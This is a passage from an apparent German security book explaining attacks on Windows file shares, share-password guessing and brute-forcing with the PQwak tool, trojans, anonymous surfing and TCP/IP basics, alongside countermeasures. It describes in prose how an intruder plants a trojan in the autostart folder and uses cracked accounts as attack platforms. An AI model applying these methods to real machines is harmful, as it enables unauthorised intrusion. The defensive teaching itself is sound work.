 Nun kann entsprechend danach, welche Zugriffstypen gesetzt wurden, der Eindringling ko-pieren, heraufladen oder nach Herzenslust löschen, wie es ihm beliebt. Eine besonders be-liebte Angriffart ist es z.B., einen Trojaner im Verzeichnis C:\WINDOWS\STARTMENÜ\ PROGRAMME\AUTOSTART unterzubringen. Somit kann gewährleistet werden, dass der Server-Teil des Trojaners (Näheres siehe im Kapitel über Trojaner) nach dem nächs-ten Booten installiert, die Datei gelöscht und der Server gestartet wird. Dieser Angriff wird evtl. zwar bemerkt, aber ob der Nutzer auf die Platzierung eines Trojaners tippt, wenn er eine Fehlermeldung erhält, ist fraglich.

Page 77
						

2.3 Der Remote-Angriff – Internet- oder Netzwerk-User aufgepasst 8833
 Bild 2.19: Ein Beispiel dafür, was Angreifer alles verändern, löschen oder manipulieren können.
 2.3.4 Passwortgeschützte Freigaben
 Natürlich können die freigegebenen Ressourcen durch Passwörter geschützt werden. Somit kann man gewährleisten, dass sich kein Unbefugter aus dem Netzwerk oder dem Internet Zugriff verschaffen kann.
 Bild 2.20: Der einfachste Schutz: Kennwörter für die Ressourcen
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 Doch dieser Schutz ist bei simplen Passwörtern ein recht magerer, der mit etwas Know-how oder entsprechenden Tools leicht zu umgehen ist. Auch ist bekannt, dass User aus Bequemlichkeit oft leicht zu merkende Passwörter vergeben.
 Das Erste, was ein Hacker ohne Zuhilfenahme von Tools machen würde, wäre das sys-tematische Raten, was im LAN, wo die Möglichkeit besteht, dass man den Nutzer per-sönlich kennt, durchaus helfen kann. Man könnte damit anfangen, alle bekannten Daten des Users herauszufinden und diese als Passwörter durchzuprobieren, z.B. Vornamen, Nachnamen, Name der Freundin, Geburtsdaten....
 Es gibt aber auch oft verwendete Standardpasswörter, wie z.B. Gast, Admin, Administra-tor, Boss, Passwort, Monatsnamen oder Test ..., um nur einige der unzähligen, oft nach-lässig verwendeten Passwörter zu nennen.
 Natürlich ist das bei schwierigeren Passwörtern ein ziemlich sinnloses Unterfangen und irgendwann wird der potentielle Hacker auch aufgeben und sich nach erfolgverspre-chenderen Methoden umschauen. Eine könnte zum Beispiel ein Tool sein, welches eine Brute-Force-Attacke gegen das NetBIOS Passwort durchführt.
 2.3.5 Brute-Force-Attacke gegen Freigabe-Passwörter
 Eines der besten und bekanntesten Tools ist PQwak von Shane Hird, dieses Tool nutzt unter anderem einen Fehler in der Implementierung der Dateifreigabe bei Windows 95/98.
 Bild 2.21: Vorbereitung auf den gezielten Zugriff
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 In PQwak muss einfach die IP des Rechners gegeben werden, dessen Passwörter ge-knackt werden sollen, hierfür erkennt PQwak etliche Zeichen und Sonderzeichen, so dass es möglich ist, innerhalb kürzester Zeit fast jedes Passwort zu knacken. Leider ist PQwak in der Version 1.0 nicht sehr sorgfältig programmiert, so dass viele Sonderzei-chen in einer Session fehlen und es häufig neu gestartet werden muss, um Erfolg zu ha-ben.
 2.3.6 Gegenmaßnahmen
 Die einfachste Maßnahme, die ergriffen werden kann, um sich gegen diese Angriffe zu schützen, ist die Deaktivierung der Datei- und Druckerfreigabe in den Einstellungen der Netzwerkumgebung. Weiterhin kann man alle unnötigen Protokolle, unter anderem auch NetBIOS, deinstallieren.
 Bild 2.22: Vergleichsweise unkomfortabel, aber ungefährlich – Freigaben ausschalten
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 Dies wird aber für viele Nutzer nicht in Frage kommen, da sie auf den Zugriff auf die Ressourcen weiterhin angewiesen sind. Es kommen eigentlich nur starke Passwörter in Frage, die die Ressourcen schützen. Hierbei haben alphanumerische Kombinationen immer wieder ihre Stärke unter Beweis gestellt.
 In Server-Umgebungen kann der Administrator des Systems in den Richtlinien für Kon-ten die Stärke sowie die Laufzeit der Passwörter einstellen. Dies bietet zwar auch keinen hundertprozentigen Schutz, aber erschwert Angreifern den erfolgreichen Zugriff enorm, und es kann davon ausgegangen werden, dass jeder noch so geduldige Hacker nach einer gewissen Zeit aufgibt.
 2.4 Weitere Angriffstechniken Neben den aufgezeigten Sicherheitslücken, die in der Architektur des Betriebssystems begründet sind, gibt es natürlich noch andere Angriffsmöglichkeiten, die hier nur vorge-stellt werden sollen.
 Trojaner – Angriff durch die Hintertür
 Sehr weit verbreitet sind Angriffe mit Hilfe von Hintertüren bzw. Remote-Control-Programmen, besser bekannt als Trojaner, die in diesem Buch ein eigenes Kapitel erhal-ten haben (siehe Kapitel 4) und auf die ich in diesem Zusammenhang nur kurz eingehen möchte.
 Trojaner eignen sich je nach Aufbau hervorragend dazu, Passwörter auszuspionieren, die Registry zu manipulieren, Prozesse zu starten oder zu beenden, Daten zu kopieren bzw. zu löschen und Freigaben einzurichten.
 Die Problematik dieser Programme liegt in ihrer Einfachheit, was bedeutet, dass man sich im Gegensatz zu komplizierten Angriffen mit keinerlei Hintergrundwissen beschäf-tigen muss.
 Dies bietet besonders Freizeithackern die Möglichkeit, Systeme voll in Ihre Gewalt zu bringen. Die Anwender solcher Programme machen sich selten Gedanken über die Tragweite ihres Handels und bewegen sich oft dementsprechend aggressiv auf den Sys-temen ihrer Opfer.
 Aus eigenen Erfahrungen kann gesagt werden, dass sich das Verhalten der User beson-ders durch die Aufklärung der Medien in den letzten Jahren stark geändert hat und im-mer häufiger darauf geachtet wird, dass Dateianhänge von Mails nicht sorglos geöffnet werden. Weiterhin werden immer häufiger Firewalls verwendet, die das Verbinden des Trojaner-Servers mit dem Client verhindern. Immer weiter verbreiten sich auch Troja-
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 ner bzw. Virenscanner, die die Serverapplikationen im System aufspüren und entfernen können bzw. deren Installation durch entsprechende Warnungen verhindern.
 Aber es gibt immer noch genügend Nutzer, die sich dieser Gefahren nicht bewusst sind und ungeachtet jeder Warnung Dateien aus unbekannten und unseriösen Quellen öff-nen. Aus unserer Praxis sind Fälle bekannt, in denen die schon seit langem bekannten Trojaner Sub7 oder BackOrfice (genaueres zu diesen Programmen finden Sie im Kapitel über Trojaner) auf Rechnern installiert waren, die in Unternehmensnetzwerken liefen. Dieses Verhalten ist grob fahrlässig, aber wahrscheinlich werden die Administratoren der Systeme erst im Schadensfall schlau. Näheres zu Schutz- und Erkennungsmöglich-keiten finden Sie ebenfalls im Kapitel über Trojaner.
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33 Grundlagen
 Wer mehr über die Aktivitäten, Strategien und Angriffsmöglichkeiten von Hackern er-fahren möchte, muss sich auch mit den Grundlagen des Internets auseinandersetzen. Anders sind bestimmte Angriffsmöglichkeiten kaum nachvollziehbar. Dieses Kapitel stellt kurz die wichtigsten Dinge vor, die zum »Hackergrundwissen« gehören – und da-mit auch zu den Grundlagen der Abwehr. So erhalten Sie auch einen kleinen Einblick in die Technik, die manchen Angriffsweg ermöglicht. Sie müssen das natürlich nicht lesen, wenn Sie sich nur allgemein über die Vorgehensweise der Hacker informieren wollen. Vieles bleibt dann aber weitgehend unverständlich.
 3.1 Anonym surfen reduziert Risiken Dieses Kapitel widmet sich dem anonymen Surfen im Internet. Damit sollten Sie sich beschäftigen, wenn Sie beginnen, das Netz zu erkunden.
 Ziel des anonymen Surfens ist es, die Übertragung der eigenen IP-Adresse an andere zu vermeiden. Stellen Sie sich zum besseren Verständnis die IP-Adresse einmal in folgen-dem Zusammenhang vor: Ein potentieller Einbrecher – nichts anderes ist ein Hacker für Ihren PC – benötigt zum Einbruch Ihre genaue Adresse. Erst dann kann er damit begin-nen, Schwachpunkte Ihrer Wohnung bzw. Ihres Hauses auszukundschaften. Ohne diese Adresse kann nichts passieren, sobald sie aber bekannt ist, ergibt sich ein recht guter Blick auf Ihre Lebensverhältnisse und Gewohnheiten.
 Die IP-Adresse ist eine sehr exakte Adressangabe, sie ist mit einer Postadresse samt ge-nauer Etagen- und Wohnungsangabe vergleichbar. Erst mit diesen Angaben kann das offene Küchenfenster – vergleichbar dem offenen Port an Ihrem PC (s.u. S. 114) – zum Risiko werden.
 Zunächst erfahren Sie jetzt das Wichtigste über anonymes Surfen – Ihre Visitenkarte verteilen Sie ja auch nicht überall. Der erste Teil dieses Kapitels zeigt Ihnen außerdem, welche Informationen andere über Sie erhalten, wenn Sie »normal« im Netz surfen. Wie Sie die Weitergabe dieser Details verhindern können, finden Sie natürlich ebenfalls.
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 3.1.1 Die meisten Nutzer verraten viel
 Eine Beispielsituation, in der man seine Anonymität unwissentlich aufgibt, ist vermut-lich den wenigsten bisher aufgefallen. Es geht hier um den kleinen Webbug bzw. clear GIFs. Beide ähneln den vielleicht schon bekannten Cookies. Der Web-Bug ist ein winzi-ges GIF-Bildchen (ein Pixel groß), das irgendwo in die Webseite integriert ist und dem Betrachter nicht auffällt, weil es so klein ist. Es übermittelt jedoch die IP-Adresse, die URL der besuchten Webseite, die URL des Web-Bug-GIFs, den Zeitpunkt, an dem der Web Bug angeschaut wurde, den Browsertyp sowie die Informationen eines zuvor ge-setzten Cookies an einen Server. Macht man auf einer Seite, die einen solchen Bug ent-hält, persönliche Angaben, so können diese zusammen mit der Bug-ID gespeichert wer-den und funktionieren praktisch wie ein Cookie – nur dass man nichts davon merkt und den Mechanismus auch nicht abschalten kann!
 Das Wichtigste, das beim anonymen Surfen verborgen werden sollte, ist also die aktuelle IP-Adresse, die jeder Rechner bei der Einwahl ins Internet bekommt.
 Der Weg durch das Internet kann, wie am Beispiel unten zu sehen, anhand von IP-Adressen sehr leicht nachvollzogen werden. Überall hinterlässt man Spuren, durch die z.B. Hacker auf einen aufmerksam werden können und dadurch Möglichkeiten erhalten, Ihre Identität genau nachzuvollziehen und evtl. auch Schaden anzurichten.
 Die IP-Adresse wird bei jeder Gelegenheit mitübertragen, wie in Mails, IRC, ICQ in Gäs-tebüchern und Boards (öffentliche Foren).
 Den Unterschied zwischen »normalem« und anonymem Surfen verdeutlicht die Seite http://privacy.net/anonymizer.
 Bild 3.1: Informationen bei Anonymizer
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 Man erkennt sowohl die IP als auch die gesamte Route, die der Rechner zu der Seite ge-wählt hat. Besucht man diese Seite nun über einen Anonymizer, erhält man lediglich die Informationen der Webseite, über die man sich eingewählt hat.
 Zusätzlich zur IP-Adresse und der Route (s.o.) kann es sein, dass alle oder zumindest ei-nige der nachfolgenden Daten ebenfalls von Fremden einzusehen sind:
 ■
 ■
 ■
 ■
 ■
 ■
 ■
 Zugehöriger Domainname der IP.
 Die URL der Seite, aus der der abgerufene Link angeklickt wurde (HTTP-Referer).
 Ein Kürzel für den benutzten Webbrowser, z.B. Mozilla/4.7 [en] (X11; I; Linux 2.2.12 i686) für Netscape (englische Version). Nebenbei erfährt man aus diesem Kürzel meist auch das verwendete Betriebssystem und seine Version, hier Linux 2.2.12 auf einem Intel-PC.
 Viele Browser übermitteln auch E-Mail-Adressen und/oder den Login-Namen, falls diese dem Browser bekannt sind (Die E-Mail-Adresse kann vom Browser beispiels-weise als Passwort für den Zugang zu einem anonymen FTP-Server oder über aktive Inhalte wie JavaScript und ähnliches übermittelt werden). Cookies ( sie hängen Ihnen ein Schild um mit: »Hier bin ich wieder.«)
 Verläufe über Aufenthalte im Internet sowie Verweildauer.
 Anhand der genannten Gründe dürfte klar sein, dass man beim Surfen im Internet doch schon etwas Anonymität wahren sollte. Wie das geht, wird gleich erläutert.
 Zunächst sei auch darauf hingewiesen, dass es absolut legal ist, sich anonym im Internet zu bewegen. Im Multimediagesetz (Informations- und Kommunikationsdienstgesetz, abgekürzt IuKDG vom 1.8.1997) steht geschrieben, dass Anonymität ein elementares Recht jedes Einzelnen ist.
 3.1.2 Anonym bleiben
 Das Ziel muss also sein, die eigene IP-Adresse zu verschlüsseln, eine andere oder gar keine anzuzeigen und nach Möglichkeit auch alle anderen Angaben zu verbergen.
 Vorab ein Hinweis: Die eigene IP-Adresse ist beim Surfen über Internet-Provider nor-malerweise dynamisch, d.h. bei jeder neuen Einwahl wird vom Provider eine neue, an-dere IP zugeteilt – aber auch diese kann dann natürlich wieder ausgelesen werden, so wie alle anderen genannten Informationen. Es gibt aber mehrere Möglichkeiten sich zu schützen, hier ein paar davon:
 Am einfachsten ist es, wie oben bereits erwähnt, die Anonymizer & Co. zu benutzen z.B.: http://anonsurf.de, oder den Klassiker http://www.anonymizer.com. Die Funk-tionsweise solcher Seiten: Die Daten werden durch einen Proxy-Server mehr oder weniger gefiltert.
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 ■
 ■
 ■
 ■
 Eine andere, einfache Methode ist es, die Verbindung des eigenen Browsers über ei-nen anonymen Proxy-Server zu konfigurieren. Hierzu eine kleine Erklärung: Proxys (= Vertreter) sind als Hardware oder Software zwischen den Client-Rechner und den Host-Server geschaltet und zeigen dem Host die Proxy-IP, und nicht die dynamische Client-IP. Der Client ist also mit dem Host verbunden, der Host aber »denkt«, er wä-re (laut der IP ) nur (!) mit dem Proxy-Server verbunden. Der Proxy vertritt also Ih-ren Rechner. Um jetzt seinen Browser entsprechend zu konfigurieren, muss man nur die Adresse sowie den Anschluss-Port des Servers in den Internetoptionen des Brow-sers (am besten für alle Protokolle) eingeben. Eine Liste der aktuellen Proxy-Server und ihrer Anschlüsse gibt es z.B. unter: http://www.cyberarmy.com/lists/proxy/. Zu-sätzlich gibt es Proxy-Suchmaschinen u.ä.
 Man kann sich auch selbst ein Proxy-Tool oder auch ein Script besorgen, z.B. bei: http://proxys4all.cgi.net. Zur Zeit ist das Tool Junkbuster in Mode (nähere Infos un-ter www.junkbuster.com). Für Neulinge ist die Installation dieser Software etwas schwieriger, dafür sind die Möglichkeiten größer, da man diese nach eigenen Wün-schen konfigurieren kann. So kann z.B. auch die Werbung auf Webseiten unter-drückt werden.
 Ein weiteres Mittel ist das derzeit nur für wenige erreichbare Mix-System, bestehend aus mehreren Stationen (Mixe), über die Nachrichten geschickt werden. Das Kon-zept wurde ursprünglich von David Chaum zur Verwendung beim E-Mail-Versand entwickelt, ist aber auf andere Netzdienste wie beispielsweise das WWW übertrag-bar. Jeder Mix sammelt die eingehenden Nachrichten, sortiert sie um und sendet sie nach einer gewissen Zeit weiter. Damit kann kein Zusammenhang zwischen den ein-gehenden und den ausgehenden Nachrichten hergestellt werden. Wenn auch nur ein einziger Mix vertrauenswürdig arbeitet, ist das ganze System vertrauenswürdig, d. h. der Nutzer bleibt anonym. Die Kommunikation innerhalb der Mixe erfolgt ver-schlüsselt und kann somit auch nicht von Dritten abgehört werden. Nachteil der Mi-xe ist, dass sie eine hohe Netzlast erzeugen. Mixe stehen noch nicht öffentlich zur Verfügung, man findet lediglich einzelne Pilotprojekte.
 Das nächste Tool, das zur Anonymität führen kann, ist der Webwasher. Diese Soft-ware gibt es sowohl für Windows 95/98/NT/2000 als auch für den Macintosh. Der Webwasher dient in erster Linie dazu, Werbebanner, animierte Bilder und Pop-Up-Menüs aus Webseiten herauszufiltern. Auch diese Funktionalität ist erwähnenswert und dient insofern ebenfalls der Wahrung der Privatsphäre, weil sie die zunehmende »Störung« des Lesers durch die zahlreichen Werbebanner unterbindet. In unserem Zusammenhang sind aber andere mitgelieferte Merkmale interessanter: Mit dem Webwasher kann das Senden des HTTP-Referers, also derjenigen URL, von der die Seite angeklickt wurde, unterbunden werden. Man kann zudem eine Liste von URLs angeben, die auf alle Fälle weggefiltert oder auch durchgelassen werden sollen. Der Webwasher sendet als User-Agent den tatsächlich vom Webbrowser geschickten
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 String. Per Voreinstellung erhält dieser die Erweiterung, dass Webwasher verwendet wurde, das kann man aber abstellen. Der Webwasher ist für den privaten Gebrauch kostenlos und unter http://www.webwasher.de zu finden.
 ■
 ■
 ■
 Für diejenigen, die ein wenig mehr Zeit haben und vor allem Linux-Fans sind, ist das folgende Tool interessant: »WWWoffle«. WWWoffle läuft unter Unix/Linux-Systemen sowie unter Windows NT. Eine Version für Windows 95 existiert zwar, sie funktioniert aber nicht einwandfrei. Dieser Proxy dient in erster Linie als cachender Proxy-Server und ermöglicht es, ohne Netzanbindung in diesem Cache zu navigie-ren. Seiten, die man anklickt, die aber noch nicht im Cache liegen, werden in einer Liste notiert und dann auf Wunsch beim Umschalten auf Online-Betrieb automa-tisch nachgeladen. Durch den Cache-Inhalt kann man nach verschiedenen Kriterien navigieren, z.B. kann man sich alle in der letzten Sitzung besuchten Seiten listen las-sen, oder alle Seiten, die beim nächsten Online-Betrieb nachgeladen werden und dergleichen. Es ist auch möglich, eine eigene Suchmaschine (ht://Dig) zur Suche über den Cacheinhalt zusätzlich zu installieren. Was im Cache landen soll, ist natürlich auch konfigurierbar. Das Programm kann komplett über den Webbrowser gesteuert werden, einschließlich des Umschaltens zwischen Online- und Offline-Betrieb. Inte-ressant ist WWWoffle in unserem Zusammenhang vor allem auch deshalb, weil man, ähnlich wie beim Junkbuster, die HTTP-Header gezielt definieren kann. Man kann ge-nau festlegen, welche Arten von Webdokumenten und welche im HTML-Code integ-rierten Scripte und dergleichen erlaubt sind. Man kann damit beispielsweise das Laden von Frames oder Bildern abschalten, oder aber festlegen, dass Java- oder JavaScript-Elemente aus dem HTML-Code entfernt werden. WWWoffle kann auch als FTP-Proxy verwendet werden, hier kann man genau festlegen, mit welchem Benutzerna-men man sich bei einem anonymen FTP-Server anmeldet und muss dies nicht dem Zufall oder den im Webbrowser eingebauten Voreinstellungen überlassen.
 Selbst bei den Proxies gibt es noch eine wichtige Sache zu beachten. Von vielen wird dies oft ganz vergessen. Das Javascript kann einem im Nachhinein doch noch einen Strich durch die Rechnung machen. Selbst wenn wirklich anonyme Proxies benutzt werden, ist es den Betreibern einer Webseite weiterhin möglich, über Javascript die IP-Adresse abzufragen. Das wird natürlich auch auf den oben erwähnten Testseiten praktiziert und hat nichts mit den anonymen Proxy-Servern selbst zu tun, denn der eigene Browser ist leider ein wenig mitteilsam. Das gezielte Deaktivieren der Java-Script-Funktion wird bei jedem Browser anders gehandhabt, deshalb verzichte ich hier auf eine Beschreibung.
 Eine weitere kleine Anonymitätslücke gilt nur für die Internet Explorer User: Die Active-Channels. Diese Technologie ist im Microsoft Internet Explorer ab Version 4.0 integ-riert. Um an bestimmte Informationen zu gelangen, muss man normalerweise im Browser explizite URLs anklicken oder eintippen. Mit den ActiveChannels kann man nun einen so genannten Channel aus dem Angebot eines Webserver-Betreibers aus-wählen, der beim Starten des Browsers oder beim Starten des Internet-Zugangs gela-
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 den wird (also beim Einwählen oder im Fall eines Festanschlusses beim Hochfahren des Rechners). Die Gefahr für den Einzelnen liegt auch hier wieder darin, dass der Abonnent des Channels nicht mehr anonym Daten von einem Server lädt, sondern bei jedem Zugriff als Individuum wieder erkannt werden kann. Sein Interessenprofil definiert sich durch den (oder die) gewählten Channel(s). Die ActiveChannel-Tech-nologie bedient sich bei der Personalisierung der bereits erwähnten Cookies. Also: Wenn es nicht unbedingt gebraucht wird, abschalten.
 ■
 ■
 .
 ■
 ■
 Wenn ein Hacker etwas Größeres vorhat, dann besorgt er sich ein paar Shell-Accounts und testet dann alle Privilegien (z.B. Loops). Es gibt viele Anbieter, die kos-tenlos Shell-Accounts offerieren, z.B. NYX, QNX (die sind aber gut überwacht), oder es gibt Hackerpages, auf denen es frischgeknackte Accounts und Logins gibt, die dann benutzt werden können.
 Hacker verwenden sogar meist Systeme, die sie schon unter eigener Gewalt haben, um sie als Angriffsplattformen für andere Systeme zu benutzen, aber für normales (legales) Surfen reichen die erstgenannten Möglichkeiten völlig aus.
 Hat man jedoch, den obigen Angaben folgend, seine IP-Adresse versteckt, so sammelt das zu Beginn genannte Beispiel-Tool nur »personalisierte« Informationen über den Proxy-Server, was uns als User somit egal sein dürfte.
 3.2 TCP/IP In diesem Abschnitt möchte ich einige Protokolle erläutern, die im Netz eingesetzt wer-den. Zu den wichtigsten gehören das Transmission Control Protocol (TCP) und das Internet Protocol (IP)
 Im folgenden Text werden die für spätere Zwecke wichtigsten Funktionen der Protokol-le beschrieben, für die Arbeit mit diesem Buch reicht das hier vermittelte Wissen voll-kommen aus. Leider ist das Thema derartig komplex, dass eine genaue Erklärung den Rahmen des Buches vollkommen sprengen würde. Als Empfehlung für einen tieferge-henden Einstieg in diese Materie sei das Buch TCP/IP Illustrated Vol 1: The Protocols von W. Richard Stevens genannt.
 3.2.1 Was ist TCP/IP?
 TCP/IP bezeichnet zwei Netzwerk-Protokolle, die im Internet und in modernen Netz-werken genutzt werden :
 Transmission Control Protocol (TCP) und Internet Protocol (IP). TCP und IP sind aber nur zwei Protokollarten innerhalb der TCP/IP-Protokoll-familie.
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 Die TCP/IP-Protokollfamilie übernimmt alle Dienste des Netzes, dazu gehören das Ver-senden von E-Mails, die Übertragung von Daten, der Zugang zum World Wide Web und das Übertragen von News innerhalb des Usenet.
 Wie arbeiten die Protokolle
 Die beiden Protokolle TCP/IP arbeiten über einen Protokollstapel (engl. stack). Der Protokollstapel ist der Weg, den die Daten aus einem Rechner heraus nehmen müssen, um in einen anderen hineinzukommen. Der Stapel, von dessen Schichten TCP/IP nur zwei, nämlich die Schichten 3 und 4, benutzt, ist folgendermaßen aufgeteilt:
 Schicht Beschreibung
 Anwendungsschicht Die Anwendungsschicht stellt die Schnittstelle zwischen den An-
 wendungen dar, mit welchen ein Benutzer Befehle über ein Netz-
 werk sendet bzw. empfängt.
 Darstellungsschicht In der Darstellungsschicht werden je nach System des anderen
 Rechners anwendungsspezifische Formatierungen durchgeführt.
 Sitzungsschicht Diese Schicht sorgt dafür, dass unterbrochene Verbindungen zwi-
 schen Anwendungen wieder hergestellt werden und z.T. auch an
 genau derselben Stelle fortgesetzt werden können, um Datenver-
 lust zu verhindern.
 Transportschicht Diese Schicht sorgt für die zuverlässige Datenübertragung zwi-
 schen den beiden Rechnern und dient oft auch als Schnittstelle
 zwischen den übergeordneten Anwendungsschichten und den un-
 tergeordneten Netzwerkschichten.
 Netzwerk-/Verbindungs-
 schicht
 In dieser Schicht wird der optimale Weg (routing) für die Über-
 mittlung gesucht. Das Protokoll kann hier bereits unabhängig von
 den übergeordneten Schichten gewählt werden (z.B.: IP).
 Datensicherungsschicht Diese Schicht hat dafür zu sorgen, dass keine Fehlübertragungen
 stattfinden und im Falle einer solchen die Daten wiederhergestellt
 werden.
 Physikalische Schicht Diese Schicht ist für die Herstellung einer physikalischen Verbin-
 dung beim Empfangen bzw. Aussenden von Daten verantwortlich.
 Tabelle 3.1: Die Schichten des TCP/IP-Protokollstapels nach dem OSI-Modell
 Die Daten durchlaufen diesen Stapel in der abgebildeten Reihenfolge aus dem Rechner heraus und in der umgekehrten in das Zielsystem wieder hinein. Jede Schicht des Stapels kann Daten an die Nachbarschicht senden bzw. von ihr empfangen. Weiterhin ist jede Schicht mit Protokollen verbunden, die verschiedene Dienste zur Verfügung stellen.
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 3.2.2 Die verschiedenen Protokolle der Schichten
 Nun sollte ein wenig deutlicher sein, wie Daten über den Protokollstapel gesendet bzw. empfangen werden. Die wichtigsten Protokolle verschiedener Schichten werden jetzt et-was näher beleuchtet.
 Anwendungsschicht
 Die Anwendungsschicht ist die Schicht, in welcher der Benutzer seine Befehle quasi di-rekt über eine Anwendung eingeben kann, um eine Verbindung zu einem Rechner zu öffnen, oder entsprechende Befehle zu geben. Im umgekehrten Sinne ist also die An-wendungsschicht auch jene Schicht, von der eine Anwendung auf Rechner A auch seine Befehle von Rechner B erhält. In der Anwendungsschicht gibt es eine ganze Menge Pro-tokolle, und dem sind nach oben hin auch keine Grenzen gesetzt. Gewisse Anwendun-gen können hier auch auf andere Anwendungen aufsetzen. Dies ist beispielsweise bei ei-nem SNMP-basierenden Tool von HP mit dem Namen »Open View« der Fall. Nun aber zu den Anwendungen in dieser Schicht.
 Telnet
 Anfang der 80er Jahre gab es noch keine echten Netzwerke. Es gab vereinzelt Großrech-ner, an die Terminals angehängt waren. Ein Terminal konnte zu der Zeit nur mit dem Großrechner über eine Sammlung an Kabeln Daten austauschen, nicht jedoch mit wei-teren Terminals. Um der Anschaffung von Unmengen neuer Kabel aus dem Weg zu ge-hen, musste eine Softwarelösung her. So kam es dann zu Telnet, das dem Benutzer die Möglichkeit gab, Daten zu editieren etc., als sitze er vor der Shell des anderen Rechners selbst. Das Öffnen einer Verbindung erfolgt dabei direkt durch den Befehl des Benutzers an die Anwendung. Die wichtigsten Telnet-Befehle finden Sie in folgender Tabelle:
 Befehl Beschreibung
 cd wechselt in das als Parameter übergebene Verzeichnis
 cd ~ wechselt in das Home-Verzeichnis des aktuell eingeloggten Users
 Mkdir New erstellt ein Verzeichnis namens New
 Rmdir New löscht das unter New angegebene Verzeichnis
 ls -l zeigt alle Dateien im aktuellen Ordner an
 chmod ändert die Zugriffsrechte auf Dateien und/oder Verzeichnisse
 chown ändert den Besitzer und die Gruppe, zu der ein Verzeichnis und/oder eine
 Datei gehört
 joe ein einfacher Texteditor
 Tabelle 3.2: Die wichtigsten Telnet-Befehle
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 FTP
 Das File Transfer Protocol ist ein Dienst, der es ermöglicht, innerhalb aller Betriebssys-teme Daten zu übertragen und sie in den jeweiligen Dateiformaten abzuspeichern. Be-kanntlich benutzen die meisten Betriebssysteme unterschiedliche Dateiformate. UNIX und UNIX-Klone verwenden oft NFS (Network File System), OS/2 normalerweise HPFS (High Performance File System) und DOS/Windows ausschließlich FAT (File Allocation Table) oder FAT32, NT sowie Windows 2000 und XP bieten außerdem noch NTFS. Die Kommunikation über FTP basiert wie bei Telnet auf dem Client-Server-Modell, ist je-doch um einiges komplexer. Wir wollen nicht ganz genau darauf eingehen. Folgende Punkte seien trotzdem erwähnt:
 Die Kommunikation ist in 5 Phasen eingeteilt:
 Phase Beschreibung
 1. Phase: Verbindungsaufbau
 Hier wird vom Client die Anfrage auf Verfügbarkeit des Dienstes an den
 Rechner gesendet und von diesem bestätigt, User und Passwort verifiziert
 und die Übertragungsoptionen sowie der bzw. die Dateinamen übermit-
 telt.
 2. Phase: Erstellung einer
 Datenverbindung
 Hier werden die Informationen bezüglich der Ports ausgetauscht und der
 eigentliche Datentransfer vorbereitet. Nachdem dies festgelegt ist, kann
 der eigentliche Datentransfer beginnen.
 3. Phase: Datenübertragung
 Die Datenübertragung erfolgt nun via FTP in der Form, wie es im entspre-
 chenden Abschnitt bereits erklärt wurde.
 4. Phase: Einleitung des
 Übertragungsendes
 Der Rechner übermittelt die letzten Daten der gesamten Datei, der Client
 bestätigt den Empfang dieser Dateien. Nun wird vom Server-Rechner ein
 Close-Befehl an den Client gesendet, welcher den Befehl entgegennimmt
 und akzeptiert.
 5. Phase: Übertragungsende
 Der Server-Datenprozess zeigt seinem Kontrollprozess (Port 21) das Ende
 der Übertragung an und beendet sich. Der Client-Datenprozess terminiert
 ebenfalls, lässt den Kontrollprozess jedoch noch aktiv für weitere Trans-
 fers.
 Tabelle 3.3: Die fünf Kommunikationsphasen bei FTP
 Von den nahezu 60 unter FTP zur Verfügung stehenden Befehle möchte ich hier nur die wichtigsten nennen:
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 Befehl Beschreibung
 ftp host Damit wird die ftp-Verbindung zum Host gestartet.
 open host Ist noch keine Verbindung zu einem Host offen, der Benutzer befindet
 sich aber schon in der FTP-Umgebung, kann mit open host eine Verbin-
 dung zum Host aufgebaut werden.
 user user Besteht schon eine Verbindung zum Host, der Benutzer ist aber noch
 nicht eingeloggt, kann sich der User nachträglich mit user anmelden.
 ascii Setzt den Dateitransfermodus auf ASCII.
 binary Setzt den Dateitransfermodus auf BINARY.
 bell Nach jedem Filetransfer ertönt ein akustisches Signal.
 cr Schalter: Ist cr an (Default), so werden RETURN/LINEFEED-Zeichen-
 folgen in LINEFEED umgesetzt.
 prompt Schalter: Ist prompt an (Default), so erfolgt beim Transfer mehrerer Datei-
 en eine interaktive Abfrage nach jeder Datei.
 Tabelle 3.4: Die wichtigsten FTP-Befehle
 TFTP
 Das Trivial File Transfer Protocol basiert nicht wie das vorhin behandelte FTP auf TCP, sondern auf UDP (User Datagram Protocol). Es dient zwar auch der Übertragung von Daten, ist jedoch nicht für den Endverbraucher bestimmt, da die Verbindung ungesi-chert ist. Es gibt bei diesen Transfers auch keine Passwortabfrage, sondern die Hinterle-gung der Source-IP, damit man über den nötigen Umfang verfügt. Die wichtigsten Be-fehle sind hierbei connect, mode, get, put, verbose und quit.
 Ich möchte nun kurz erklären, wie hier eine Datenübertragung abläuft. TFTP basiert e-benfalls auf dem Client-Server-Prinzip. Der Client sendet hierbei einen Request an den Server, dieser bestätigt den Request und beginnt die Datenübertragung. Jeder Datensatz beträgt hierbei 512 Byte und wird vom Server bestätigt. Das Ende der Übertragung wird vom Client automatisch dann angenommen, wenn ein entgegengenommener Satz weni-ger als 512 Byte lang ist.
 BOOTP
 Das Boot Protocol ist UDP-basierend (User Datagram Protocol) und wurde eigentlich nur dazu entwickelt, um Boot-Vorgänge zu aktivieren. Dies wird nur dort nötig, wo dis-kless-workstations betrieben werden, da diese ihre logische Adresse nicht speichern können. Mit Booten ist hier übrigens nicht das eigentliche Hochfahren gemeint, son-dern lediglich die Übernahme wichtiger Konfigurationsdaten.
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 SMTP
 Das Simple Mail Transfer Protocol ist das im Internet wohl am meisten benutzte Proto-koll. Seit frühester Zeit hat sich SMTP bereits auf UNIX-Systemen etabliert und mittler-weile auch auf normalen PCs seinen Platz gefunden. Hier bedient der Anwender seine Mail-Software und bereitet eine Nachricht vor. Schickt er dann seine Nachricht ab, so wird diese so lange zwischengespeichert, bis von TCP die gesamte Nachricht (im Rah-men des OSI-Modells) übertragen wurde. Auch hier stehen sowohl dem Client als auch dem Server eine Reihe von Befehlen bzw. Reaktionen zur Verfügung, welche ich nicht auflisten werde. Stattdessen werde ich hier einen kleinen Dialog zwischen Server und Client wiedergeben (wir gehen dabei immer von einer positiven Antwort seitens des Ser-vers aus):
 ■
 ■
 ■
 ■
 ■
 ■
 ■
 ■
 ■
 ■
 ■
 ■
 ■
